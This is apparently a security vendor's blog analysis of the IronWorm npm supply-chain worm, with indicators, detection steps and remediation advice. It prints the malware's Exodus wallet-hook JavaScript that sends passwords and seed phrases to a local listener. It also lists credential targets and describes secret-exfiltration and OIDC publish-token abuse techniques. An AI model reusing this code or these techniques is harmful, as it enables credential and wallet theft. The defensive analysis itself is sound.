IronWorm (No CVE): Rust-Built npm Worm Ships an eBPF Rootkit, Tor C2, and a Self-Propagating Supply Chain Implant Across 37 Packages

IronWorm npm supply chain worm: Rust implant, eBPF rootkit, Tor C2, 37 packages, no CVE

Executive Summary

IronWorm is an npm supply chain worm — a self-propagating Rust-built implant distributed through 37 packages that carries an eBPF rootkit, Tor-based command and control, and a CI self-replication engine that requires no stored credentials.

Unlike typical npm credential stealers built on a few hundred lines of obfuscated JavaScript, IronWorm ships as a 976 KB Rust ELF binary executed via a preinstall hook, packs a custom-modified UPX stub to defeat signature-based unpackers, encrypts every internal string with a unique per-call-site key, and carries an embedded eBPF kernel-level rootkit to hide its own processes, sockets, and anti-debugging tripwires from defenders.

The implant sweeps 86 environment variables and over 20 credential file paths covering AWS, GCP, Azure, Vault, Kubernetes, npm, Docker, GitHub, and the entire 2026 generation of AI provider keys (Anthropic, OpenAI, Gemini, Cohere, Mistral, Groq, Perplexity, xAI). It includes a dedicated Exodus desktop wallet hook that weakens Electron sandboxing to capture the seed mnemonic at unlock time. C2 runs over Tor, with the implant downloading the Tor expert bundle, writing its own torrc, and beaconing to /api/agent over a hidden service. Propagation runs through npm’s Trusted Publishing OIDC flow: on any CI runner with active federation, the worm exchanges the runner’s identity token for a short-lived, package-scoped publish token and republishes itself under whichever maintainer namespace the runner can reach.

No CVE has been assigned. Traditional CVE-based scanners had zero detection surface for IronWorm at the point of compromise. The worm is operationally adjacent to Shai-Hulud — same propagation model, same target profile, same use of trusted automation identities for commit forgery — but raises the engineering bar substantially with Rust, eBPF, and Tor in the same binary. The operator left their own BIP-39 recovery phrase hardcoded in the wallet-stealer skip list, which is the kind of mistake that says this is a rehearsal, not the final form.

TL;DR for Engineering Teams

What it is: IronWorm, a Rust-built npm supply chain worm with no CVE, distributed through 37 packages republished from the compromised asteroiddao npm account between the discovery window and the silent cleanup that followed. Each package ships a 976 KB Linux ELF dropper that fires from a preinstall script.

Where it bites: Any Linux developer machine or CI runner that installed any affected version of the listed packages, plus every GitHub repository the compromised account could write to (9 organizations confirmed: ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg).

Why it spread: The worm uses npm Trusted Publishing OIDC token exchange to mint short-lived publish credentials directly from CI runner identity. No stored npm token is required. Every CI run on an infected package becomes a new publisher. The implant also commits malicious changes to victim GitHub repositories under spoofed automation identities (claude, dependabot[bot], renovate[bot], github-actions[bot]) using copied timestamps from prior legitimate commits so changes appear backdated by years.

Patch status: No vendor patch. The malicious npm versions were deprecated and most malicious GitHub commits removed within roughly a day of discovery, but the cleanup was incomplete. The compromised account had approximately 4,500 contributions to private projects in the same month, so the public scope is a lower bound.

Immediate action: Search lockfiles for the 37 affected package versions listed in the IOC table; rotate every credential reachable from any host that ran npm install for an affected version; audit every repository the compromised account could write to for backdated commits authored by claude@users.noreply.github.com; rotate npm OIDC trust federation on any affected namespace.

Vulnerability Overview

FieldValue
Vendornpm (registry) / GitHub (account compromise vector)
Product37 npm packages published by asteroiddao
Vulnerability TypeSupply chain compromise, self-propagating worm
CWECWE-506 (Embedded Malicious Code), CWE-829 (Inclusion of Functionality from Untrusted Control Sphere), CWE-1357 (Reliance on Insufficiently Trustworthy Component)
CVSS ScoreNot assigned (no CVE)
CVENone
Patch AvailableNo (malicious versions deprecated, no clean replacement for affected ranges)
Active ExploitationConfirmed in the wild — JFrog primary discovery
AttributionUnknown actor; operationally adjacent to Shai-Hulud / TeamPCP, no confirmed identity overlap
DiscoveryJFrog Security Research

Technical Anatomy

Root Cause

There is no traditional software vulnerability here. IronWorm is malicious code shipped intentionally inside legitimate-looking package versions. The compromise vector was credential theft from a single maintainer (ocrybit, an Arweave/WeaveDB ecosystem contributor), followed by republication of every package the account owned with a malicious preinstall hook attached. The package payloads contain clean copies of the original SDK code alongside a single binary in a tools/ subdirectory, making the diff against the previous legitimate version minimal at the source-tree level.

The structural weakness IronWorm exploits is the combination of three things: npm’s permissive preinstall lifecycle script execution, which fires before dependency resolution; npm Trusted Publishing’s OIDC token exchange flow, which lets any CI runner with active federation mint publish credentials without a stored secret; and GitHub’s permissive treatment of commit metadata, which lets attackers forge author identities and commit timestamps to make malicious changes appear as routine automation work from years ago.

Exploit Path

  1. Entry point. The developer or CI runner executes npm install against a project that depends, directly or transitively, on any of the 37 affected asteroiddao packages. The preinstall script ./tools/setup fires before npm resolves dependencies. No build step, no manual confirmation, no user interaction.
  2. Vulnerability trigger. The Rust ELF binary unpacks itself in memory (custom UPX stub with the UPX! magic overwritten to defeat signature-based unpackers), decrypts internal strings using per-call-site unique keys, sweeps 86 environment variables and 20+ credential file paths, drops an embedded eBPF kernel object for stealth, and starts a Tor daemon to establish C2. If the host is a CI runner with active npm OIDC federation, the worm exchanges the runner’s identity token for a package-scoped publish token via npm’s /-/npm/v1/oidc/token/exchange/package/<pkg> endpoint.
  3. Execution impact. Credentials are exfiltrated over Tor to /api/agent. The worm publishes trojanized versions of accessible packages under the runner’s namespace using the freshly minted OIDC token. For GitHub repositories the stolen credentials can write to, the worm commits either a payload dropper (under spoofed claude@users.noreply.github.com identity) or replaces an existing GitHub Actions workflow file with a secret-exfiltration job (under spoofed dependabot[bot], renovate[bot], or github-actions[bot] identity). Persistence on the local host runs through the eBPF rootkit’s process and socket hiding.

Campaign Phases

Phase 1 — Initial foothold via credential theft. The compromised maintainer (ocrybit) had their credentials harvested by an earlier IronWorm victim with shared access, by phishing, or by some other unconfirmed vector. JFrog’s analysis does not pinpoint patient zero. The credentials gave the attacker write access to the entire asteroiddao npm account and to 9 GitHub organizations.

Phase 2 — npm mass republication. All 37 packages owned by the asteroiddao account were republished within the same narrow window, each new version carrying the malicious preinstall hook pointing to the bundled Rust binary. Version increments were minor or patch-level, designed to be picked up by SemVer-tolerant lockfile updates.

Phase 3 — GitHub repository poisoning. The compromised credentials were used to push 57 backdated malicious commits across the 9 organizations. Commits used author identities chosen to match the target file type: claude@users.noreply.github.com for build-system modifications that planted the dropper, and dependabot[bot], renovate[bot], or github-actions[bot] for workflow file replacements that exfiltrated secrets. The malware copied the timestamp of each repository’s most recent legitimate commit so its own changes appeared to predate the worm’s existence by up to 13 years.

Phase 4 — Cleanup and partial cover-up. Within roughly 24 hours of JFrog’s discovery, the malicious npm versions were marked deprecated and most malicious GitHub commits were silently removed. Not all of them. The compromised account had approximately 4,500 contributions to private repositories in the same month, so the public footprint is a lower bound on real impact.

Two Payloads, Two Disguises

IronWorm carries two GitHub repository payloads and switches between them based on what the target repository looks like.

Payload A — Build-system dropper (observed in the wild). If the repository ships a package on npm, PyPI, Cargo, Conan, or vcpkg, the worm drops the same 976 KB ELF binary to an innocuous-looking path: tools/setup, .github/scripts/precheck, or similar. It then modifies the build manifest to invoke that binary as part of the install lifecycle — preinstall for npm, a subprocess.run call in setup.py for PyPI, a build.rs hook for Cargo. The commit is authored as claude <claude@users.noreply.github.com>, mimicking an AI coding assistant making a routine tooling change.

Payload B — Workflow secret exfiltration (logic present, not observed firing). If the repository already has GitHub Actions workflows, the worm overwrites an existing workflow file with a secret-exfiltration job. The replacement workflow is pinned to legitimate action SHAs to look more security-conscious, names its steps with plausible CI phrases (“Run analysis”, “Process results”, “Upload report”), and uses ${{ toJSON(secrets) }} to serialize every secret available to the workflow run into a single value. That value gets written to a file named format-results.txt and uploaded as a build artifact via actions/upload-artifact. No external C2 traffic is needed — the artifact is retrievable by anyone with sufficient repo access, including the compromised account. Commits are authored under rotating bot identities (dependabot[bot], renovate[bot], github-actions[bot]).

JFrog observed Payload A in the wild across every victim. Payload B’s logic is present in the binary and appears functional, but was not seen triggering during the observation window.

The Rust Implant: Anti-Reverse-Engineering

IronWorm is built in Rust as a release build with an async runtime, which produces thousands of functions of framework code that drown out the malware’s own logic. Strings are encrypted in the binary and decrypted only when needed. There is no single master key — every call site uses its own decryption parameters, forcing per-string manual recovery during reverse engineering.

The binary is packed with a lightly modified UPX stub. The UPX! magic value is overwritten, which causes stock upx -d to return NotPackedException. Restoring the magic bytes lets the standard unpacker handle the file normally. This is the lowest-effort anti-unpacking trick possible — it does not replace UPX, it only breaks signature detection.

Once strings were recovered, the implant’s purpose became clear: GitHub API endpoints, the full 86-entry environment variable list, the 20+ credential file path list, bot identity strings, branch and commit message templates designed to blend in as routine maintenance, and code-injection templates for npm, PyPI, Cargo, Conan, and vcpkg.

The eBPF Rootkit: Stealth and Anti-Debugging

The implant carries an embedded ELF object compiled with clang 22.1.5 containing a kernel-level rootkit built as a BPF program. The compiler left the .BTF.ext debug section in place, which preserved 214 verbatim source lines mapped to original file names and line numbers, full type information for all 10 BPF maps, and every struct field. JFrog reconstructed the source file (q2.bpf.c) closely enough to understand the rootkit’s mechanisms.

The rootkit hides processes by rewriting /proc directory listings in place, removing PIDs on a hidden-set watchlist before userland tools can see them. Anything in ps, top, ls /proc, or similar disappears. New processes are added to the hidden set automatically via an execve hook that matches against a watchlist of process names.

Anti-debugging logic answers any ptrace attempt against a protected process with SIGKILL. In practice, running strace against the implant kills the shell that issued the command.

Network hiding extends the same pattern. The rootkit parses /proc/net/tcp as it is read and removes rows belonging to hidden sockets. Similar filtering applies to the netlink interface used by ss, so the implant’s Tor connections disappear from the standard tooling defenders reach for first.

The rootkit’s strongest stealth — process hiding and TCP connection hiding — depends on a BPF helper that modifies caller-process memory. That helper is restricted under kernel lockdown. On hardened systems with lockdown enabled, the rewrites quietly fail and hidden processes and sockets become visible to standard tooling. The anti-debugging logic and netlink filtering still work. On a stock Ubuntu/Debian server running as root, the full feature set works as intended.

Credential Sweep: 86 Variables, 20+ Files, AI-Era Coverage

The credential sweep is exhaustive and modern. The 86 environment variables span:

  • Cloud providers: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, GOOGLE_APPLICATION_CREDENTIALS, GCP_SERVICE_ACCOUNT_KEY, AZURE_CLIENT_SECRET, AZURE_TENANT_ID
  • Object storage and databases: S3 access keys, MongoDB connection strings, PostgreSQL credentials, Redis URLs
  • Source control and registries: GITHUB_TOKEN, GH_TOKEN, GITLAB_TOKEN, NPM_TOKEN, NPM_AUTH_TOKEN, PYPI_TOKEN, CARGO_REGISTRY_TOKEN
  • CI/CD: JENKINS_TOKEN, CIRCLECI_TOKEN, GITHUB_ACTIONS runner state
  • Messaging: SLACK_TOKEN, DISCORD_TOKEN
  • Secrets management: VAULT_TOKEN, VAULT_ADDR, Kubernetes service account tokens
  • AI/ML APIs: ANTHROPIC_API_KEY, OPENAI_API_KEY, GEMINI_API_KEY, COHERE_API_KEY, MISTRAL_API_KEY, GROQ_API_KEY, PERPLEXITY_API_KEY, XAI_API_KEY, plus less common ones from a 2026 developer’s environment

The credential file sweep reads more than 20 paths, including current-generation AI tool configs that did not exist a year ago: ~/.claude/.credentials.json, ~/.codex/auth.json, ~/Cursor/auth.json, ~/.gemini/settings.json, alongside the classic targets ~/.aws/credentials, ~/.kube/config, ~/.docker/config.json, ~/.npmrc, ~/.gitconfig, ~/.ssh/, and browser keystores.

Exodus Wallet Hook

A dedicated module targets the Exodus desktop wallet. The malware injects a JavaScript hook into the Exodus Electron application that captures the wallet password and seed mnemonic when the user unlocks the wallet. To make injection possible, the module weakens Electron’s security model by disabling or relaxing webSecurity, sandbox, contextIsolation, and nodeIntegration, then loosens the Content Security Policy and broadens the application’s network policy beyond the legitimate Exodus domains. The captured password and mnemonic are sent to a local listener on 127.0.0.1:8738:

try {
  const _x = (k, v) => {
    const r = new XMLHttpRequest;
    r.open(“POST”, “http://127.0.0.1:8738”, !0);
    r.setRequestHeader(“Content-Type”, “text/plain”);
    r.send(k + “:” + v)
  };
  if (t) _x(“password”, t);
  const m = this._seed?.mnemonic?.toString();
  if (m) _x(“seed”, m)
} catch (e) {}

Kubernetes and Vault Module

A separate module activates inside a Kubernetes pod. It reads the service account token at /var/run/secrets/kubernetes.io/serviceaccount/token, walks every accessible namespace, and dumps every Secret object it can reach. If a HashiCorp Vault instance is reachable from the pod, the module logs in with the service account token and enumerates the secret backends.

The Operator’s Mistake: Hardcoded Recovery Phrase

The credential file scanner contains a small skip list — content patterns the malware reads and deliberately does not exfiltrate. The list contains exactly one entry, 74 bytes long: a complete 12-word BIP-39 recovery phrase, hardcoded in plaintext. The operator shipped their own wallet seed inside every copy of the implant so the wallet stealer would not rob them during testing.

Recovering the address from the phrase takes three lines of Python with bip_utils. The resulting Ethereum address is 0x7e28D9889f414B06c19a22A9Bd316f0AC279a4d6, a near-empty test wallet holding dust. It is not a treasure to seize; it is an attribution lead.

Tor-Based C2

For command and control, the implant downloads the Tor expert bundle and its libraries, writes its own torrc configuration, starts the Tor daemon, and waits for the circuit to come up. It then beacons to /api/agent on a hidden service and waits for orders. The C2 conversation is plain HTTP wrapped inside the Tor tunnel: a short hello, a request, and a response parsed for status codes.

The supported command set is intentionally small: upload extracted credentials, drop a file from the attacker-controlled server, or execute a remote shell command on the infected host. JFrog identified additional code that uploads files to temp.sh, a public file host tunneled through the same Tor circuit, and reports the resulting link back over C2 — possibly a fallback path, though not confirmed in the wild.

npm Self-Replication via Trusted Publishing OIDC

Every package published by the compromised account was republished with a malicious version inside the same window. The implant code confirmed how: when running in a CI environment, it uses npm’s Trusted Publishing flow to obtain publish rights without ever touching a stored npm credential. The flow is:

  1. Request an OIDC identity token from the CI environment using the audience parameter associated with npm Trusted Publishing.
  2. Submit that identity token to npm’s /-/npm/v1/oidc/token/exchange/package/<pkg> endpoint.
  3. Receive a short-lived, package-scoped automation token.
  4. Use that token to publish a trojanized release to registry.npmjs.org.

This is the same mechanism Mini Shai-Hulud used against TanStack in May 2026. The defense — disabling OIDC trust federation on affected namespaces until rotation is verified — is the same.

Affected Versions

PackageVulnerable VersionStatusNotes
weavedb-sdk0.45.3DeprecatedPrimary sample analyzed by JFrog
weavedb-sdk-base0.21.1Deprecated
weavedb-sdk-node0.45.3Deprecated
weavedb-client0.45.3Deprecated
weavedb-base0.45.3Deprecated
weavedb-contracts0.45.2Deprecated
weavedb-node-client0.45.3Deprecated
weavedb-offchain0.45.4Deprecated
weavedb-tools0.45.3Deprecated
weavedb-console0.2.1Deprecated
weavedb-exm-sdk0.7.4Deprecated
weavedb-exm-sdk-web0.7.4Deprecated
weavedb-lite0.1.1Deprecated
weavedb-warp-contracts-plugin-deploy1.0.11Deprecated
test-weavedb-sdk1.1.1Deprecated
wdb-core0.1.2Deprecated
wdb-cli0.1.1Deprecated
wdb-sdk0.1.2Deprecated
arnext0.1.5Deprecated
arnext-arkb0.0.2Deprecated
create-arnext-app0.0.10Deprecated
roidjs0.1.7Deprecated
ai30.3.5Deprecated
aonote0.11.1Deprecated
atomic-notes0.5.3Deprecated
cwao0.5.6Deprecated
cwao-tools0.3.1Deprecated
cwao-units0.8.3Deprecated
arjson0.1.4Deprecated
fpjson-lang0.1.7Deprecated
hbsig0.3.2Deprecated
monade0.0.7Deprecated
wao0.41.2Deprecated
warp-contracts-plugin-deploy-test3.0.1Deprecated
zkjson0.8.5Deprecated
test-ajs0.1.19Deprecated
testnpmnmp1.0.21Deprecated

Affected GitHub organizations: ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg.

Exposure Analysis

EnvironmentRisk LevelReason
CI/CD pipelines with npm OIDC federationCriticalSelf-propagation via Trusted Publishing token exchange; one infected install becomes a publisher
Linux developer workstationsCriticalpreinstall hook fires on npm install, eBPF rootkit hides post-execution; credential sweep is exhaustive
Kubernetes pods running npm installCriticalService account token theft, namespace-wide Secret enumeration, Vault enumeration if reachable
Cloud workloads with broad IAMHigh86-variable env sweep harvests AWS/GCP/Azure credentials; cross-account lateral movement risk
Developer machines with Exodus walletHighDedicated wallet hook captures seed mnemonic at unlock
Developer machines with AI tools (Claude Code, Cursor, Codex, Gemini)HighCredential files for current-generation AI tools are explicit harvesting targets
Internet-exposed servicesMediumNot directly exposed; impact via stolen credentials reused against production
Windows/macOS developer machinesLowerThe binary is a Linux ELF; the worm does not appear to ship Windows or macOS variants. The propagation logic still applies via stolen npm/GitHub credentials
Locked-down Linux systems (kernel lockdown enabled)Reduced stealtheBPF process/socket hiding fails; anti-debugging still works

Real-World Impact

JFrog observed 14 confirmed malicious commits across the 9 compromised GitHub organizations, with commit dates spoofed to appear up to 13 years in the past. The total of 57 backdated malicious commits across the compromised organizations represents what was visible publicly at the moment of cleanup. The compromised account had approximately 4,500 contributions to private projects in the same month. Public scope is therefore a lower bound on real impact.

The Arweave/WeaveDB developer ecosystem is the primary blast radius. WeaveDB SDK packages sit beneath any Arweave-based decentralized application using WeaveDB as a database layer. The arnext family targets the Arweave-Next.js integration surface. The cwao and aonote packages target the AO compute layer on Arweave. Crypto and web3 developers — the audience IronWorm appears purpose-built for — are the population most likely to have installed any of these in the relevant window.

Beyond the immediate npm ecosystem, the worm’s credential harvesting reach is broad. Every CI runner that resolved an affected version during the attack window had its environment swept for 86 categories of credential, with results exfiltrated over Tor before any defender visibility tooling could see the connection. Any compromised credential remains exploitable until rotation completes, regardless of whether the malicious package was later uninstalled.

The fact that Payload B (workflow secret exfiltration via GitHub Actions artifacts) is present in the binary but was not observed firing in JFrog’s analysis window is the more dangerous data point. It is the most defender-resistant exfiltration channel in the toolkit — no external C2, no Tor traffic, just a build artifact that looks like lint output. Defenders should not assume Payload B is dead code; the most likely interpretation is that the campaign was at an early stage when it was caught.

Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today

Detection Guidance

Log Indicators

For developer endpoints and CI runners:

  • Execution of any binary at tools/setup, .github/scripts/precheck, or any similarly innocuous-looking path inside an npm package during npm install
  • New preinstall script entries in package.json pointing to a binary path inside the package
  • npm install operations triggering execution of an unfamiliar Linux ELF inside node_modules/<package>/
  • Outbound HTTPS to registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/* from a CI runner that should not be publishing packages
  • Tor process startup (tor daemon) on developer machines or CI runners where Tor is not part of the expected toolchain
  • Connections to 127.0.0.1:8738 originating from the Exodus desktop wallet process

For GitHub repositories:

  • Commits authored as claude <claude@users.noreply.github.com> modifying build manifests (package.json, setup.py, Cargo.toml, conanfile.py, vcpkg.json) outside the normal pattern of AI-assisted edits in your organization
  • Workflow file replacements authored as dependabot[bot], renovate[bot], or github-actions[bot] where the diff introduces ${{ toJSON(secrets) }}, actions/upload-artifact, or a step writing to format-results.txt
  • Commits with author timestamps significantly older than the repository’s last legitimate activity, especially when the GitHub Actions activity log shows the push happened recently
  • New files at paths like tools/setup, .github/scripts/precheck, or any tools/ subdirectory containing a binary blob

For Kubernetes:

  • Pod-originating reads of /var/run/secrets/kubernetes.io/serviceaccount/token followed by listSecrets operations across namespaces
  • Pod-originating authentication attempts against the Vault API using the pod’s service account token where this is not the expected pattern

Scanner References

  • Phoenix Security ASPM platform — correlates npm dependency graph data with runtime workload exposure; flags packages with new preinstall hooks across maintainer transitions
  • Phoenix Security Blue Shield CI/CD Firewall — consumes the phxintel.security/malware.html intelligence feed and blocks installation of known-malicious package versions at the runner
  • PHX-Neural behavioral scoring — 77-signal heuristic flags Rust binaries shipped from npm packages with no build artifact justification, hardcoded BIP-39 phrases in skip-list patterns, and per-call-site string encryption signatures
  • JFrog Curation / Xray — packages have been catalogued as malicious in the JFrog Catalog
  • Socket Security — real-time install-time blocking on the affected version set
  • Aikido Security — malware feed coverage for the deprecated versions
  • StepSecurity Harden-Runner — network anomaly detection on CI runners catches the Tor bootstrap and any temp.sh traffic
  • GitHub Advanced Security secret scanning — will catch leaked secrets if the workflow-exfiltration payload (Payload B) fired in any of your repositories
  • Phoenix Security open-source scanners: github.com/Security-Phoenix-demo/

Verification Steps for Teams

  1. Search lockfiles across all repositories for the affected package versions:
  • rg -n ‘”weavedb-sdk”|”weavedb-sdk-base”|”weavedb-client”|”arnext”|”aonote”|”cwao”|”roidjs”|”wao”|”zkjson”|”fpjson-lang”‘ package-lock.json npm-shrinkwrap.json yarn.lock pnpm-lock.yaml
  1. For any match, capture the install timestamp from CI logs or developer history. Any machine that ran npm install against an affected version during the attack window must be treated as fully compromised.
  2. Sweep every GitHub organization the compromised account could write to (ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg) for commits authored by claude@users.noreply.github.com with the message fix: resolve lint warnings or similar generic maintenance text.
  3. Check the GitHub Actions activity log on suspect repositories for the real push timestamp; the commit author timestamp is unreliable.
  4. Audit existing GitHub Actions workflow files in every repository the compromised account could write to. Look for ${{ toJSON(secrets) }} outside its handful of legitimate uses, and for steps writing to format-results.txt or uploading artifacts named format-results.
  5. Inventory developer endpoints for Linux ELF files inside any node_modules/ tree. Match against the SHA-256 of the dropper binary once IOCs are published.
  6. Audit npm Trusted Publishing OIDC trust federation across all your namespaces. Disable federation on any namespace that an affected version touched until rotation is complete.

Remediation Guidance

Immediate Actions

  1. Uninstall and pin away from affected versions. Remove every affected version from lockfiles. Pin direct dependencies to known-clean versions predating the attack window. Where the package is unmaintained going forward, plan replacement.
  2. Rotate every credential reachable from any affected install. This is non-negotiable. The full 86-variable sweep means any AWS/GCP/Azure/Vault/Kubernetes/npm/GitHub/AI provider credential reachable from any host that ran npm install against an affected version is in scope. Rotate, do not just audit. Rotation should include long-lived API keys, signing keys stored in env vars, and OIDC trust relationships where the attacker could have re-federated.
  3. Disable npm Trusted Publishing OIDC federation on affected namespaces. Re-enable only after package ownership, maintainer accounts, and CI runner provenance have been verified.
  4. Revoke and reissue GitHub Personal Access Tokens, fine-grained tokens, and SSH keys for any developer who installed an affected version locally.
  5. Audit and revert backdated commits across the 9 compromised GitHub organizations. Force-push history rewrites or selective revert commits — whichever your workflow supports — with full audit trail.
  6. Reimage compromised developer machines. The eBPF rootkit is sophisticated enough that point-fix removal is not safe. Reimage from known-clean media.
  7. Rotate Exodus wallet seeds for any developer who unlocked the wallet on a compromised machine during the attack window.
  8. Rotate Kubernetes service account tokens in any namespace that ran a build job on an affected version. Treat all Secrets in those namespaces as leaked.

Temporary Mitigations

If you cannot complete rotation immediately:

  • Block egress to Tor entry guards at the firewall on developer subnets and CI runner subnets. This disables IronWorm’s C2 channel without addressing the credential theft already completed.
  • Block egress to temp.sh from CI runners as a defense against the secondary fallback path.
  • Disable preinstall, install, and postinstall lifecycle scripts in CI with npm install –ignore-scripts. This prevents new infections but does not clean existing ones.
  • Enable kernel lockdown on production Linux systems where it is not already on. This breaks the eBPF rootkit’s process and socket hiding, making the implant detectable by standard tooling.
  • Configure Electron application AppArmor or SELinux confinement to prevent the Exodus wallet hook from disabling sandboxing.
  • Pin GitHub Actions to specific SHAs everywhere, not just tags. This is best practice anyway; it makes Payload B’s workflow replacements stand out in diffs.

Phoenix Security Recommendations

Phoenix Security’s approach to IronWorm-class compromises is built on the assumption that CVE-based scanning is structurally incapable of catching them. There is no CVE here. There is nothing to look up in NVD or OSV. The detection signal lives in package behavior, maintainer transitions, and CI runner provenance — not in vulnerability advisories.

Phoenix Security correlates the affected package set with your runtime workload data and dependency graph to produce a single ranked exposure list: which workloads pulled an affected version, which CI runners executed against it, which credentials were reachable from those runners, and which production systems consume those credentials downstream. The output is a remediation campaign assigned to the team that owns each affected workload, not a generic advisory dumped on AppSec to triage.

The Phoenix Blue Shield CI/CD Firewall blocks installation of the deprecated affected versions at the runner using the phxintel.security/malware.html intelligence feed. The Blue Shield Agent Firewall extends the same control surface to developer machines.

PHX-Neural’s 77-signal behavioral heuristic flags the structural fingerprints that distinguish IronWorm-class packages from legitimate releases: a binary shipped from an npm package with no source-tree justification, per-call-site string encryption signatures, a modified UPX stub, embedded BPF objects, hardcoded BIP-39 phrases, and preinstall hooks pointing to ELF executables. These signals fire whether or not the specific package is in any published advisory feed, which is the only reliable way to catch the next IronWorm variant before JFrog or another researcher posts the IOCs.

Reachability analysis identifies which affected packages are actually loaded in runtime workloads versus declared in lockfiles but never resolved, which collapses the triage queue and lets remediation owners focus on the workloads that materially executed compromised code.

Remediation campaigns track fixes through ownership attribution: each affected workload is mapped to its responsible team, with rotation tasks for each credential class broken out as discrete deliverables with explicit SLAs.

Download Phoenix Security IronWorm campaign config:

Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today

External References

  1. JFrog Security Research — IronWorm: Shai-Hulud’s Rustier Cousin: https://research.jfrog.com/post/iron-worm-shai-hulud-rustier-cousin/
  2. npm Trusted Publishers / OIDC federation documentation: https://docs.npmjs.com/generating-provenance-statements
  3. Sigstore / npm provenance: https://github.blog/security/supply-chain-security/
  4. Phoenix Security — Mini Shai-Hulud / TeamPCP npm Worm Campaign (lineage context)
  5. Phoenix Security — TeamPCP’s Five-Day Siege on CI/CD Infrastructure (lineage context)
  6. Phoenix Security Blue Malware Analysis: https://phxintel.security/malware.html
  7. Tor Project — Expert bundle distribution: https://www.torproject.org/
  8. UPX — The Ultimate Packer for eXecutables: https://upx.github.io/
  9. eBPF documentation — BTF / .BTF.ext format: https://www.kernel.org/doc/html/latest/bpf/btf.html
  10. bip_utils — BIP-39 / BIP-44 Python library: https://github.com/ebellocchia/bip_utils

Daniel is a security engineer and vulnerability management expert with extensive experience designing and implementing AppSec programmes for global enterprises. He has previously led security teams at major technology firms across the US and Europe, driving initiatives that bridge the gap between development velocity and security outcomes. Daniel holds multiple industry certifications and frequently speaks at security conferences.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

The Miasma worm crossed two new boundaries in 48 hours: GitHub’s automated enforcement disabled 73 Microsoft repositories in 105 seconds after AI coding agent hooks were planted in Azure/durabletask, then 37 malicious PyPI wheels hit 19 packages with .pth startup hooks that steal credentials on every Python invocation. 448 total artifacts tracked. Zero CVEs assigned across the entire campaign.
Marcus Webb
Phoenix Security’s Malware Package Intelligence corpus documents 59 supply chain campaigns and 657 malicious package IOCs across npm, PyPI, VS Code, and AI agent tooling from June 2024 through June 2026. The first half of 2026 alone produced 4.5 times the package volume of all 2025 — driven by self-propagating worms, AI assistant config poisoning, and a compiled Rust implant with an eBPF rootkit. Every single campaign: zero CVEs assigned during active exploitation.
Francesco Cipollone
IronWorm is a Rust-built npm supply chain worm that distributed a 976 KB eBPF rootkit and Tor C2 across 37 packages from a single compromised account, with no CVE assigned. It uses npm’s own Trusted Publishing OIDC flow to mint publish credentials from CI runners and self-replicate. CVE-based scanners had zero detection surface at the point of compromise.
Daniel Reeves
On June 1, 2026, 32 packages in the @redhat-cloud-services npm scope — totalling 116,991 weekly downloads — were backdoored by Miasma, a new Shai-Hulud variant that steals credentials across AWS, GCP, Azure, and Kubernetes through a preinstall hook. No CVE exists. Every malicious version passed npm Trusted Publishing validation using legitimate OIDC-issued tokens, leaving CVE-dependent scanners with zero detection surface during the active exposure window.
Francesco Cipollone
AI now generates working exploits in 10–15 minutes. Verizon’s DBIR confirms software vulnerabilities have overtaken stolen credentials as the top breach entry point. The NCSC and Bank of England have formally demanded automated, at-scale remediation. This analysis breaks down why traditional vulnerability management is broken, what the 2026 supply-chain attack catalogue tells us, and how to close the tap and burn down the backlog before the patch wave hits.
Marcus Webb
Contents
Derek

Derek Fisher

Head of product security at a global fintech

Derek Fisher – Head of product security at a global fintech. Speaker, instructor, and author in application security.

Derek is an award winning author of a children’s book series in cybersecurity as well as the author of “The Application Security Handbook.” He is a university instructor at Temple University where he teaches software development security to undergraduate and graduate students. He is a speaker on topics in the cybersecurity space and has led teams, large and small, at organizations in the healthcare and financial industries. He has built and matured information security teams as well as implemented organizational information security strategies to reduce the organizations risk.

Derek got his start in the hardware engineering space where he learned about designing circuits and building assemblies for commercial and military applications. He later pursued a computer science degree in order to advance a career in software development. This is where Derek was introduced to cybersecurity and soon caught the bug. He found a mentor to help him grow in cybersecurity and then pursued a graduate degree in the subject.

Since then Derek has worked in the product security space as an architect and leader. He has led teams to deliver more secure software in organizations from multiple industries. His focus has been to raise the security awareness of the engineering organization while maintaining a practice of secure code development, delivery, and operations.

In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

Jeevan Singh

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

christophe

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

jim

Jim Manico

Founder of Manicode Security

